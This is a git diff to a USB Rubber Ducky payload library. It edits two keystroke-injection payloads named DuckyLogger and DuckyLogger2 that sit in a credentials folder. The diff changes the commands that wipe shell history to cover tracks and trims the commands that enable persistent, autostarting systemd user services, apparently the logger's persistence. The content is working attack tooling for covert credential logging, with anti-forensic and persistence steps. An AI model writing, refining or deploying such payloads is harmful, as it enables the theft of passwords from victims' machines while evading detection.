diff --git a/payloads/library/credentials/DuckyLogger/payload.txt b/payloads/library/credentials/DuckyLogger/payload.txt index 68da50e..5434769 100644 --- a/payloads/library/credentials/DuckyLogger/payload.txt +++ b/payloads/library/credentials/DuckyLogger/payload.txt @@ -13,7 +13,7 @@ REM [keeping tracks clear] DELAY 500 CTRL-ALT t DELAY 400 -STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +STRING export HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE ENTER DELAY 100 @@ -75,14 +75,8 @@ DELAY 300 STRING systemctl --user enable --now systemBUS.service ENTER DELAY 150 -STRING systemctl --user start --now systemBUS.service -ENTER -DELAY 150 STRING systemctl --user enable --now reboot.service ENTER -DELAY 150 -STRING systemctl --user start --now reboot.service -ENTER DELAY 100 REM [autostarting service on terminal/shell launch] diff --git a/payloads/library/credentials/DuckyLogger2/payload.txt b/payloads/library/credentials/DuckyLogger2/payload.txt index 0cc4650..448ff8f 100644 --- a/payloads/library/credentials/DuckyLogger2/payload.txt +++ b/payloads/library/credentials/DuckyLogger2/payload.txt @@ -13,7 +13,7 @@ REM [keeping tracks clear] DELAY 500 CTRL-ALT t DELAY 400 -STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +STRING export HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE ENTER DELAY 100 @@ -67,8 +67,5 @@ DELAY 300 STRING systemctl --user enable --now systemBUS.service && systemctl --user enable --now systemBUS.timer ENTER DELAY 150 -STRING systemctl --user start --now systemBUS.service && systemctl --user start --now systemBUS.timer -ENTER -DELAY 150 STRING exit ENTER